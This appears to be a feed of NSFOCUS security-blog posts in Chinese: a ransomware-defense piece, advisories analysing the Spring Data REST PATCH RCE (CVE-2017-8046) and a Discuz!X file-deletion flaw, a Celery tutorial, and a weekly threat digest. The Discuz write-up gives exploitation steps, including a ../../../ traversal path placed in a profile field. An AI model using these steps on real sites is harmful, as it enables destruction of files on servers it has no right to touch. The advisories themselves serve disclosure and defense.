最后,采用具有未知威胁检测能力的安全产品和方案,实时检测和阻断勒索软件的入侵。勒索软件和APT威胁,同属于高级威胁,传统的安全手段,防病毒、防火墙、IPS等缺乏有效检测手段,被勒索软件的“阶段式”攻击轻松绕过。因此,需要引入未知威胁能力检测的产品,比如沙箱类安全产品,能够模拟用户终端环境,记录恶意软件的各个阶段的行为,分析这些行为之间的关联关系,判断其是否为勒索软件。

4.勒索软件检测和防御

安全意识培训和数据备份,前者是在勒索软件诱骗之前,后者防备勒索中招之后。绿盟科技高级威胁分析产品TAC,内置多个安全引擎。其中,安全信誉引擎和防病毒引擎,对已知勒索软件进行检测。

4.1 勒索软件检测引擎

绿盟科技高级威胁分析产品TAC,内置多个安全引擎。其中,安全信誉引擎和防病毒引擎,对已知勒索软件进行检测。

静态分析引擎和虚拟执行引擎(即沙箱),对未知的勒索软件进行检测。新的勒索软件,或是最新的变种,在虚拟环境里面运行,TAC记录和分析可疑文件的行为,根据其程序运行的逻辑,判断是否有勒索行为。额外的,通过与勒索软件家族的既有行为模式比对,判断其所属的家族。

4.2 勒索软件防护场景

1)邮件检测和防护场景

绿盟威胁分析系统TAC 邮件系列型号(以下简称TAC-E)的产品,是专门检测邮件高级威胁的网络沙箱类安全产品。针对邮件的高级威胁,主要有鱼叉APT威胁和勒索软件两大类。TAC-E接收到可疑的邮件,对其中的恶意URL和附件进行安全检测。

根据Osterman的调研[6],通过邮件方式感染的勒索软件,占所有感染方式的60%。邮件高级威胁的检测和隔离,是勒索软件防范重点。如上图所示,TAC-E与绿盟邮件安全网关(下称SEG)组成NGTP解决方案的邮件场景。外部邮件先通过SEG,过滤掉已知的病毒邮件和垃圾邮件;再经过TAC-E设备进行第二层过滤,勒索软件和APT威胁被隔离。

2)网络检测和防护场景

绿盟威胁分析系统TAC在线检测系列型号(以下称TAC-D),专门检测网络上传输的高级威胁产品。TAC-D既可以独立部署,也可以与网关设备联动,组成NGTP解决方案的网络场景。

TAC-D产品与绿盟网络入侵检测系统(下称NIPS)联动,NIPS检测和拦截已知的网络攻击,对于NIPS无法检测的可疑威胁,投递到TAC-D进行分析。根据分析结果,TAC-D生成本地安全信誉,与绿盟威胁情报中心(下称NTI)一道,为NIPS提供最及时的安全信誉,检测和阻断最新的高级威胁,最新的勒索软件。

4.3 勒索软件检测案例

某大型制造企业,深受勒索软件之苦。办公网员工,防范意识不够,多次感染勒索软件,文档被加密,影响工作。最严重的一次,领导的笔记本电脑中了勒索软件,对外投资的文档被加密,影响了企业的投资的进展,给合作方留下了负面印象。

客户购买了TAC产品,上线第一天,就发现了两起勒索软件。下图为其中一个勒索软件的分析报告。TAC对勒索软件的检测得到验证。

5.结语

勒索软件来势凶猛,是近两年增长最为快速的高级威胁。分析勒索软件的发展趋势,可以断言,未来的勒索软件还会持续增长,潜在的受害者也会持续攀升。

勒索软件带来了巨大挑战。防范于未然是勒索软件的应对之道。有效的安全意识培训,定期数据备份,采用高级威胁检测产品和方案,是防御勒索软件的最佳实践。

绿盟威胁分析系统TAC产品,配置强大的勒索软件检测引擎,与SEG,NIPS等传统安全产品组成NGTP解决方案,有效隔离已知和未知勒索软件,保护用户的文档数据安全,保障企业业务持续运行。

  [1]       https://www.databreaches.net/hollywood-presbyterian-medical-center-paid-17000-ransom-to-unlock-their-system/

  [2]       https://securelist.com/files/2016/06/KSN_Report_Ransomware_2014-2016_final_ENG.pdf

  [3]       Gartner Research, Ransomware Families and the Number of Vulnerabilities They Exploit

  [4] http://researchcenter.paloaltonetworks.com/2017/04/unit42-mole-ransomware-one-malicious-spam-campaign-quickly-increased-complexity-changed-tactics/

[5] https://www.nomoreransom.org/

[6] https://www.malwarebytes.com/pdf/white-papers/UnderstandingTheDepthOfRansomwareIntheUS.pdf

文章来源:绿盟科技博客

Spring Data Rest服务器PATCH请求远程代码执行漏洞技术分析与防护方案

$
0
0

近日,Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,提交的JSON数据中存在SPEL表达式可以导致远程代码执行。官方已经发布了新版本修复了该漏洞。

相关地址:

https://pivotal.io/security/cve-2017-8046

受影响的版本

  • Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot version < 2.0.0M4
  • Spring Data release trains < Kay-RC3

不受影响的版本

  • Spring Data REST 2.5.12, 2.6.7, 3.0RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

技术防护方案

用户自查

首先找到Spring Data Rest所在的目录,在Spring Data Rest根目录下找到pom.xml文件,用文本编辑器打开后找到<parent>标签,可获得当前说使用的spring版本。如果当前使用的Spring Data Rest版本在受影响的范围内,则说明存在漏洞风险。

官方修复方案

官方在新版本Spring Boot 2.0.0.M4,Spring Data REST 2.5.12, 2.6.7, 3.0RC3和Spring Data release train Kay-RC3中已经修复了该漏洞,请受影响的用户尽快升级,升级步骤如下:

1、首先找到Spring Data Rest所在的目录,用文本编辑器打开目录中的pom.xml文件,不同版本可能显示不同,请用户根据自己的产品版本更新版本号设置。

2. 清除maven中产生的项目,打开控制台,执行如下命令:mvn clean。
3. 重新运行服务,打开控制台,进入Spring Data REST目录,执行如下命令:mvn spring-boot:run。

参考链接:

https://projects.spring.io/spring-data-rest/

https://projects.spring.io/spring-boot/

绿盟科技防护建议

绿盟科技检测类产品与服务

  • 公网资产可使用绿盟云 紧急漏洞在线检测,检测地址如下:

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12

2、内网资产可以使用绿盟科技的远程安全评估系统(RSAS V6)或 Web应用漏洞扫描系统(WVSS),以及入侵检测系统(IDS) 进行检测。

远程安全评估系统(RSAS V6)

http://update.nsfocus.com/update/listRsasDetail/v/vulweb

Web应用漏洞扫描系统(WVSS)

http://update.nsfocus.com/update/listWvss

入侵检测系统(IDS)

http://update.nsfocus.com/update/listIds

通过上述链接,升级至最新版本即可进行检测

使用绿盟科技防护类产品(IPS/IDS/NF/WAF)进行防护:

入侵防护系统(IPS)

http://update.nsfocus.com/update/listIps

下一代防火墙系统(NF)

http://update.nsfocus.com/update/listNf

Web应用防护系统(WAF)

http://update.nsfocus.com/update/wafIndex

通过上述链接,升级至最新版本即可进行防护!

临时解决方案

可以借助WAF产品禁用PATCH方法来进行临时防护,具体操作方法如下:

进入WAF Web管理页面,依次点击“安全管理”-“策略管理”-“HTTP访问控制”-“新建”。

在动作选项处选择“阻断”,源IP封禁处选择“不禁封”。

再勾选HTTP方法,设置为不属于。

点击确定后,即可创建策略。

技术分析

补丁分析

从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当,导致任意表达式执行从而导致的RCE。

首先来看下补丁,主要是evaluateValueFromTarget添加了一个校验方法verifyPath,对于不合规格的path直接报异常退出,主要是property.from(pathSource,type)实现,基本逻辑就是通过反射去验证该Field是否存在于bean中。

程序验证复现

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples,找到spring-rest-data这个项目,直接用IDEA一步步导入进去即可,直接运行就能看到在本地的8080端口开启了jetty服务。但是请注意这编译好的是最新版本,要引入漏洞,当然得老版本,修改pom.xml

添加plugin,具体如下:

从项目test目录找到相关请求,发送http://127.0.0.1:8080/api/cities/1即可看到回显表明服务正常启动。测试程序验证的效果如下:

随便拿一个以前spring 表达式注入作为path的参数值,会报如下错误:

说明path参数确实被污染,此处存在表达式注入漏洞,虽然已经进入表达式的执行流程,但是这里却报错退出。

RCE分析

现在的poc离真正的RCE还差一步,查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue方法。

这个方法直接抛出异常,那看来poc离执行还有一段距离。直接调出setValue的实现,发现有五个地方实现了,前面也看到了SpelNodeImpl的setValue是直接抛出异常的。查看他们的实现,只有CompoundExpression,Indexer,PropertyOrFieldReference真正存在执行表达式。

查看相关文档得知 CompoundExpression是复杂表达式,用.连接起来的都算。Indexer一般是这么表示test[xxlegend],通过将程序验证进行修改,发现也是可以运行的,再看调用栈也是符合我们刚才理解到:

在这个poc中还用到op参数,op表示要执行的动作,在代码中定义了add,copy,from,move,replace,test这么多操作值,add,test,replace可直接触发漏洞,并且test非常直接。下面看看test的调用栈:

可以看出来这个点官方没有修复,但是有个限制,evaluateValueFromTarget会报错退出,导致getValueFromTarget不会被执行,从而不会触发RCE。

声明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

文章来源:绿盟科技博客

Discuz!X任意文件删除漏洞的前世今生

$
0
0

2017年9月29日,Discuz!X修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以任意删除文件。

综述

攻击难度:低。

危害程度:高。

官方修复情况如下:

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

什么是Discuz!X?

Discuz!X 社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台,是全球市场占有率第一的社区论坛(BBS)。

它是一个以社区为基础的专业建站平台,让论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用充分融合于一体,帮助网站实现一站式服务。

影响的版本

  • 影响版本: ≤3.4

技术分析-前世

这个漏洞的分析我们先回到2014年6月19的一个漏洞。这个漏洞由白帽子提交到wooyun平台上,wooyun-2014-065513。

Discuz官方在这个补丁中修复了漏洞:

http://download.comsenz.com/DiscuzX/3.2/patch/DX32_R20140618_SC_UTF8.zip

我们下载修复之前的版本,可以在文件source/include/spacecp/spacecp_profile.php中,有如下代码:

这里的$_GET[‘deletefile’]没有经过任何处理,直接遍历他的$key和$value,然后将$space[$key]拼接到一个路径中,带入了系统函数unlink()删除此文件。

这里的$space[$key]是通过用户的uid获取的用户信息的一些字段:

我们来看一下当程序运行到上面拼接路径时,$space的具体内容:

$space是一个数组,里面存了所有当前用户属性信息的字段和内容。

那么,因为$_GET[‘deletefile’]是可控的,如果我们将$_GET[‘deletefile’]的$key设置为$space中存在字段,比如$space中存在一个用户基本信息的情感状态的字段affectivestatus,默认是空的,我们将$_GET[‘deletefile’]的$key设置成affectivestatus,那么拼接后就成了:

这个时候如果$space[‘affectivestatus’]的内容为一个路径的话那么就可以删除任意文件了。

现在漏洞就显而易见了,因为这个$space[‘affectivestatus’]的内容就是用户信息中的情感状况,我们提前先设置一下就ok了啊,设置成我们想删除的任意文件,比如../../../111111.txt:

第一步,我们先设置个人基本信息,将情感状况设置为你想删除的文件路径。

第二步,我们发送如下请求即可删除你设置的特定文件:

这里的formhash就是登陆后的一个token可以在页面源代码中看到,这个profilesubmit必须为true才能进行信息修改的操作,此时$key=affectivestatus,看看$space[‘affectivestatus’]的内容:

这个时候通过路径拼接就达到我们删除这个111111.txt的目的了,提交上述第二步的请求就可以删除根目录下的111111.txt了。

至于漏洞修复,官方应该采用了此漏洞提交者的建议:

简单的在漏洞存在的地方加了一个判断:

在删除之前判断要删除的内容的formtype是不是file类型,由于用户信息的字段的formtype都是非file类型的,所以修复后导致无法在此处删除文件了。

那么漏洞就真的修复了么???

技术分析-今生

三年后,在2017年9月29日,Discuz官方有修复了这个文件,通过对比分析补丁发现同样存在一个任意文件删除漏洞,漏洞原理和触发过程跟2014年的漏洞一模一样,我们来看看漏洞代码。

同样在文件source/include/spacecp/spacecp_profile.php中,有如下代码:

这里在上传文件的时候,如果上传成功,最后在倒数第二行代码里面:

也会进行一次删除操作,将$space[$key]拼接到路径后直接删除。

这里的$space前面已经分析过滤,这个$key就是上传文件是遍历$_FILES变量中的$key,再上传时同样没有处理$key的内容,所以也是可控的。

那么漏洞利用原理就是一样了,只不过是在提前设置好用户信息为路径外,第二步需要上传一个文件,让流程走到上传文件这里。

第一步,我们先设置个人基本信息,将情感状况设置为你想删除的文件路径。

第二步,我们修改一下页面属性为type=file,然后来上传一个文件:

点击保存后,程序就会走到上传的地方,然后第一步设置的../../../111111.txt文件就会被删掉。这时候的$key值:

这时候的$space[$key]=$space[‘affectivestatus’]的值:

大家可能注意到前面有很多if判断,这里需要注意上传的时候只能上传图片类型的文件,否则在:

这会判断不通过,导致continue,走不到下面的unlink。

至于漏洞修复,官方直接将此文件中的删除操作全部删除:

防护方案

请升级到官方的最新版即可。

参考链接

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

绿盟科技(NSFOCUS Co., Ltd.)是中国网络安全领域的领导企业,致力于网络和系统安全问题的研究、高端网络安全产品的研发、销售与网络安全服务,在入侵检测/保护、远程评估、 DDoS攻击防护等方面提供具有国际竞争能力的先进产品,是国内最具安全服务经验的专业公司。有关绿盟科技的详情请参见: http://www.nsfocus.com

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

文章来源:绿盟科技博客

【干货分享】NTI任务管理之django+python篇celery异步任务使用

$
0
0

新浪微博的新鲜事推送如何实现?大规模的服务器如何实现Crontab管理?里面的秘密就在于消息队列。Celery是一个使用Python开发的分布式任务调度模块,是一个简单、灵活、可靠的处理大量消息的分布式系统。在大量异步任务处理和大量定时任务管理的情况下,我们可以优先考虑采用celeryrabbitMq解决这些问题。本文介绍了Celery以及Django中Celery的实现。

为什么要用celery

   Celery是一个使用Python开发的分布式任务调度模块,是一个简单、灵活、可靠的处理大量消息的分布式系统,他是一个专注于实时处理的任务队列,同时也支持任务调度。因此适合实时异步任务、定时任务等调度场景。

    【注:何为任务队列?任务队列是一种在线程或机器间分发任务的机制。消息队列的输入是工作的一个单元,称为任务,独立的职程(Worker)进程持续监视队列中是否有需要处理的新任务。)】。

celery适用于那些场景

     应用场景一:我们知道大型网站的性能非常重要,然而有时不得不做一些相当耗时的操作。 比如SNS网站的“新鲜事儿”系统,我发帖之后,会给所有关注我的人推送一条通知。乍一看没什么难的,发帖之后找出关注我的人, 然后生成相应的消息记录就行了。但问题是,100个人关注我,就要执行100INSERT查询,更要命的是,Web服务器是同步的, 这100条查询执行完成之前,用户是看不到结果的。怎么办呢,这时就轮到消息队列上场了。发帖之后只需给队列发送一条消息, 告诉队列“我发帖子了”,然后把发帖的结果返回给用户。 这时另一个叫做worker的进程会取出这条消息并执行那100INSERT查询。这样,推送通知的操作在后台异步执行, 用户就能立即看到发帖结果。更精彩的是,可以运行多个worker实现分布式,多繁重的任务都不在话下了。将Celery RabbitMQ 结合,将会产出很好的效果,可以实现类似新浪微博大数据量的消息推送。(这里就可以采用RabbitMQ消息队列系统负责存储消息;采用celeryworken进程,同时提供在webapp中创建任务的功能)。
应用场景二:很多做开发和运维的都会涉及一件事:crontab, 也就是在服务器上设定定时任务,按期执行一些任务.但是假如你有上千台的服务器, 你有上千种任务,那么对于这个定时任务的管理恐怕是一件很头疼的事情.哪怕你只是几十个任务分配的不同的机器上怎么样合理的管理和实现以下功能呢:
查看定时任务的执行情况.比如执行是否成功,当前状态,执行花费的时间;一个友好的界面或者命令行下实现添加,删除任务;怎么样简单实现不同的机器设定不同种任务,某些机器执行不同的队列;假如你需要生成一个任务怎么样不阻塞剩下来的过程;怎么样并发的执行任务。RabbitMQ,ZeroMQ这样的消息队列总是出现在我们视线中, 其实意义是很简单: 消息就是一个要传送的数据,celery是一个分布式的任务队列。这个”任务”其实就是一种消息, 任务被生成到队列中,被RabbitMQ等容器接收和存储,在适当的时候又被要执行的机器把这个消息取走。
以上是两种典型的应用场景。通过上面两种场景的分析,在大量异步任务处理和大量定时任务管理的情况下,我们可以优先考虑采用celeryrabbitMq解决这些问题。

celery特点

  • 简单:Celery 易于使用和维护,并且它不需要配置文件

  • 高可用性:倘若连接丢失或失败,进程和客户端会自动重试,并且通过主/主或主/从方式复制来提高可用性

  • 快速:单个 Celery 进程每分钟可处理数以百万计的任务,而保持往返延迟在亚毫秒级

  • 灵活:Celery 几乎所有部分都可以扩展或单独使用。可以自制连接池、序列化、压缩模式、日志、调度器、消费者、生产者、自动扩展、中间人传输或更多。

工作原理

首先需要了解Celery 的通信机制,Celery 用消息通信,通常使用中间人(Broker)在客户端和职程间斡旋。这个过程从客户端向队列添加消息开始,之后中间人把消息派送给职程。Celery官网给出了多个Broker的备选方案:RabbitMQRedisDatabase(不推荐)以及其他的消息中间件,官方默认推荐的是RabbitMQ。   

它的基本工作就是管理分配任务到不同的服务器,并且取得结果。至于说服务器之间是如何进行通信的?这个Celery本身不能解决。所以,RabbitMQ作为一个消息队列管理工具被引入到和Celery集成,负责处理服务器之间的通信任务。

Django中Celery的实现

NTI的整个项目体系里也避免不了使用定时任务或异步任务去处理一些任务,比如定时的邮件提醒,资产监控,用户操作行为记录等等,下面看看我们是如何使用的:

建立消息队列

首先,我们必须拥有一个broker消息队列用于发送和接收消息。我们就使用RabbitMQ作为我们的消息中间人。在Linux上安装的方式如下:

sudo apt-get install rabbitmq-server

命令执行成功后,rabbitmq-server就已经安装好并运行在后台了。另外也可以通过命令rabbitmq-server来启动rabbitmq server以及命令rabbitmqctl stop来停止server

安装django-celery

pip install django-celery

配置settings.py

  首先,在Django工程的settings.py文件中加入如下配置代码:

其中,当djcelery.setup_loader()运行时,Celery便会去查看INSTALLD_APPS下包含的所有app目录中的tasks.py文件,找到标记为task的方法,将它们注册为celery taskBROKER_URLCELERY_RESULT_BACKEND分别指代你的Broker的代理地址以及Backendresult store)数据存储地址。在Django中如果没有设置backend,会使用其默认的后台数据库用来存储数据。注意,此处backend的设置是通过关键字CELERY_RESULT_BACKEND来配置,与一般的.py文件中实现celerybackend设置方式有所不同。

然后,在INSTALLED_APPS中加入djcelery

4. 在要使用该任务队列的app根目录下(比如:myApp),建立tasks.py

tasks.py中我们就可以编码实现我们需要执行的任务逻辑,本例以求和函数为例,在开始处import task,然后在要执行的任务方法开头用上装饰器@task。需要注意的是,与一般的.py中实现celery不同,tasks.py必须建在各app的根目录下,且不能随意命名。

生产任务

在需要执行该任务的View中,通过create_task_add.delay的方式来创建任务,并送入消息队列。比如

这里仅仅是提供一个参考示例,实际应用中大家可以将一些耗时但不影响用户体验的功能封装成异步任务让其单独在去执行。

启动worker的命令

先启动服务器

python manage.py runserver

再启动worker

python manage.py celery worker -c 4 –loglevel=info

到此,我们django+pythoncelery异步任务使用-1就简单讲完了,本篇主要是对celery的一个简介和一个简单示例使用,更多的关于异步任务、定时任务的的使用,使用过程中踩过的坑等内容后续会持续更新,欢迎有兴趣的同学交流指点。

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

文章来源:绿盟科技博客

【安全报告】绿盟科技互联网安全威胁周报 ——第201746周

$
0
0

绿盟科技网络安全威胁周报及月报系列,旨在简单而快速有效的传递安全威胁态势,呈现重点安全漏洞、安全事件、安全技术。

一. 互联网安全威胁态势

1.1 CVE统计

cve-201745

最近一周CVE公告总数与前期相比明显回落。

1.2 威胁信息回顾

    • 标题:Android Flaw Lets Attackers Capture Screen and Record Audio
      • 时间:2017-11-20
      • 摘要:If your Android smartphone has Lolipop, Nougat or Marshmallow, then there is every reason for you to feel alarmed because the MediaProjection service can be exploited due to a critical flaw. The service is designed to capture user’s screen and record system audio. Since a majority of Android devices nowadays have these three versions of the OS, therefore, around 77.5% of the Android devices are at risk.
      • 链接:https://www.hackread.com/android-flaw-lets-attacker-capture-screen-record-audio/

       

    • 标题:Intel Firmware Vulnerability
      • 时间:2017-11-21
      • 摘要:Intel has released recommendations to address vulnerabilities in the firmware of the following Intel products: Management Engine, Server Platform Services, and Trusted Execution Engine. An attacker could exploit some of these vulnerabilities to take control of an affected system.
      • 链接:https://www.us-cert.gov/ncas/current-activity/2017/11/21/Intel-Firmware-Vulnerability

 

    • 标题:US-CERT WARNS OF ASLR IMPLEMENTATION FLAW IN WINDOWS
      • 时间:2017-11-20
      • 摘要:The U.S. Computer Emergency Readiness Team is warning of a vulnerability in Microsoft’s implementation of Address Space Layout Randomization that affects Windows 8, Windows 8.1 and Windows 10. The vulnerability could allow a remote attacker to take control of an affected system.
      • 链接:https://threatpost.com/us-cert-warns-of-aslr-implementation-flaw-in-windows/128948/
    • 标题:Uber Paid Hackers $100k to Hide Massive Theft of 75M Accounts
      • 时间:2017-11-22
      • 摘要:It’s surprising to some and shocking to many. Despite a rough phase that the US-based ride-hailing service has been passing through amidst allegations of sexual harassment, federal criminal probes, and trade secrets theft lawsuit, we did believe in the legitimacy of Uber as a service provider. However, Bloomberg has burst the bubble for Uber users. According to its report, Uber Technologies Inc. paid off $100,000 to hackers for hiding the massive data breach which exposed private details of around 75 million Uber accounts.
      • 链接:https://www.hackread.com/uber-paid-hackers-to-hide-massive-theft-of-75m-accounts/

 

    • 标题:Flaw in F5 Products Allows Recovery of Encrypted Data
      • 时间:2017-11-20
      • 摘要:A crypto vulnerability affecting some F5 Networks products can be exploited by a remote attacker for recovering encrypted data and launching man-in-the-middle (MitM) attacks, the company told customers on Friday.
      • 链接:http://www.securityweek.com/flaw-f5-products-allows-recovery-encrypted-data?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Securityweek+%28SecurityWeek+RSS+Feed%29
    • 标题:Global Cyber Alliance launched the Quad9 DNS service to secure your online experience
      • 时间:2017-11-20
      • 摘要:Global Cyber Alliance launched the Quad9 DNS service, the free DNS service to secure your online experience and protect your privacy.
      • 链接:http://securityaffairs.co/wordpress/65777/security/quad9-dns-service.html

 

  • 标题:Experts found a way to exploit HP Enterprise printers to hack into company networks
    • 时间:2017-11-22
    • 摘要:Researchers at FoxGlove Security have found a potentially serious remote code execution vulnerability in some of HP’s enterprise printers.
    • 链接:http://securityaffairs.co/wordpress/65892/hacking/hp-printers-hacking.html
  • 标题:ProtonMail Contacts – ProtonMail launches world’s first encrypted contacts manager
    • 时间:2017-11-22
    • 摘要:ProtonMail launched ProtonMail Contacts, the world’s first contact manager with both zero-access encryption and digital signature verification
    • 链接:http://securityaffairs.co/wordpress/65884/digital-id/protonmail-contacts.html
  • 标题:OpenStack Swauth爆出身份验证绕过漏洞CVE-2017-16613 可未授权操作
    • 时间:2017-11-23
    • 摘要:OpenStack Swauth爆出 身份验证绕过漏洞 ,CVEID为CVE-2017-16613 ,攻击者可以利用此问题绕过身份验证机制并执行未经授权的操作。这可能有助于进一步攻击。受影响产品包括OpenStack swauth 1.2.0、OpenStack swauth 1.1.0
    • 链接:http://toutiao.secjia.com/openstack-abypass-cve-2017-16613
  • 标题:Samba任意代码执行漏洞CVE-2017-14746 可执行任意代码 失败了还可DoS
    • 时间:2017-11-22
    • 摘要:Samba又爆出 任意代码执行漏洞 ,CVEID CVE-2017-14746。允许攻击者在受影响的应用程序上下文中执行任意代码。失败的攻击将导致拒绝服务条件。只有Samba Samba 4.7.3 、Samba Samba 4.6.11 、Samba Samba 4.5.15 不受影响
    • 链接:http://toutiao.secjia.com/samba-ace-cve-2017-14746
  • 标题:加密货币Tether公司被黑客攻击 价值3100万美元代币被窃
    • 时间:2017-11-22
    • 摘要:北京时间21日彭博称,比特币创一周最大跌幅,加密货币Tether公司网站周二发布的一则公告, 这些代币于11月19日从Tether Treasury钱包被盗,被发送到了一个未经授权的比特币地址。 该公司表示,不会赎回被盗的代币,不过正在试图阻止被盗数字货币进入他们的代币生态系统。
    • 链接:http://toutiao.secjia.com/tether-hacked
  • 标题:Curing The Security Sickness in Medical Devices
    • 时间:2017-11-22
    • 摘要:Just as the rapid development of the Internet of Things (IoT) has transformed traditional industries and service sectors, it is also having a great impact in the world of healthcare. It’s easy to argue, in fact, that no area is being transformed by digital technologies as rapidly or with as many benefits for society as new medical technologies.
    • 链接:http://www.securityweek.com/curing-security-sickness-medical-devices?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Securityweek+%28SecurityWeek+RSS+Feed%29
  • 标题:工信部发布《公共互联网网络安全突发事件应急预案》工信部网安(2017)281号
    • 时间:2017-11-23
    • 摘要:11月23日下午消息,工业和信息化部今日印发《公共互联网网络安全突发事件应急预案》。要求部应急办和各省(自治区、直辖市)通信管理局应当及时汇总分析突发事件隐患和预警信息,发布预警信息时,应当包括预警级别、起始时间、可能的影响范围和造成的危害、应采取的防范措施、时限要求和发布机关等,并公布咨询电话。
    • 链接:http://toutiao.secjia.com/internet-security-emergency-plan
  • 标题:拧紧保护学生个人信息这根弦 严禁公示个人敏感信息
    • 时间:2017-11-23
    • 摘要:20日,安全加转载 多地高校国家奖学金名单公示,泄露学生个人信息包括身份证号码 。很多人不以为然,表示“学校历来如此,还要你搞技术的提醒?”但教育部还是重视学生 个人数据泄露这个事情的。
    • 链接:http://toutiao.secjia.com/moe-protects-students-privacy

(数据来源:绿盟科技 威胁情报与网络安全实验室 收集整理)

二. 漏洞研究

2.1 漏洞库统计

截止到2017年11月24日,绿盟科技漏洞库已收录总条目达到38088条。本周新增漏洞记录50条,其中高危漏洞数量16条,中危漏洞数量21条,低危漏洞数量13条。

  • Node.js 拒绝服务漏洞(CVE-2017-14919)
    • 危险等级:中
    • BID:101881
    • cve编号:CVE-2017-14919
  • Libav smacker_decode_tree函数拒绝服务漏洞(CVE-2017-16803)
    • 危险等级:中
    • BID:101882
    • cve编号:CVE-2017-16803
  • Cisco Umbrella Insights Virtual Appliance本地权限提升漏洞(CVE-2017-12350)
    • 危险等级:中
    • BID:101879
    • cve编号:CVE-2017-12350
  • Linux kernel本地拒绝服务漏洞(CVE-2017-15115)
    • 危险等级:低
    • BID:101877
    • cve编号:CVE-2017-15115
  • Apache Camel反序列化远程代码执行漏洞(CVE-2017-12634)
    • 危险等级:中
    • BID:101876
    • cve编号:CVE-2017-12634
  • Oracle Tuxedo远程安全漏洞(CVE-2017-10267)
    • 危险等级:高
    • BID:101875
    • cve编号:CVE-2017-10267
  • Oracle Tuxedo远程安全漏洞(CVE-2017-10272)
    • 危险等级:高
    • BID:101871
    • cve编号:CVE-2017-10272
  • Oracle Tuxedo远程安全漏洞(CVE-2017-10278)
    • 危险等级:高
    • BID:101870
    • cve编号:CVE-2017-10278
  • Apache Karaf本地拒绝服务漏洞(CVE-2014-0219)
    • 危险等级:中
    • BID:101872
    • cve编号:CVE-2014-0219
  • Apache Camel反序列化远程代码执行漏洞(CVE-2017-12633)
    • 危险等级:中
    • BID:101874
    • cve编号:CVE-2017-12633
  • Apache CouchDB远程权限提升漏洞(CVE-2017-12635)
    • 危险等级:高
    • BID:101868
    • cve编号:CVE-2017-12635
  • FreeBSD 本地权限提升漏洞(CVE-2017-1087)
    • 危险等级:低
    • BID:101867
    • cve编号:CVE-2017-1087
  • IBM Business Process Manager拒绝服务漏洞(CVE-2017-1628)
    • 危险等级:低
    • BID:101900
    • cve编号:CVE-2017-1628
  • FreeBSD 本地信息泄露漏洞(CVE-2017-1086)
    • 危险等级:低
    • BID:101861
    • cve编号:CVE-2017-1086
  • Cisco IOS/IOS XE Software跨站脚本漏洞(CVE-2017-12304)
    • 危险等级:中
    • BID:101856
    • cve编号:CVE-2017-12304
  • Cisco IP Phone 8800 Series本地命令注入漏洞(CVE-2017-12305)
    • 危险等级:中
    • BID:101869
    • cve编号:CVE-2017-12305
  • Node.js ejs ‘ejs.renderFile()’函数远程代码执行漏洞(CVE-2017-1000228)
    • 危险等级:中
    • BID:101897
    • cve编号:CVE-2017-1000228
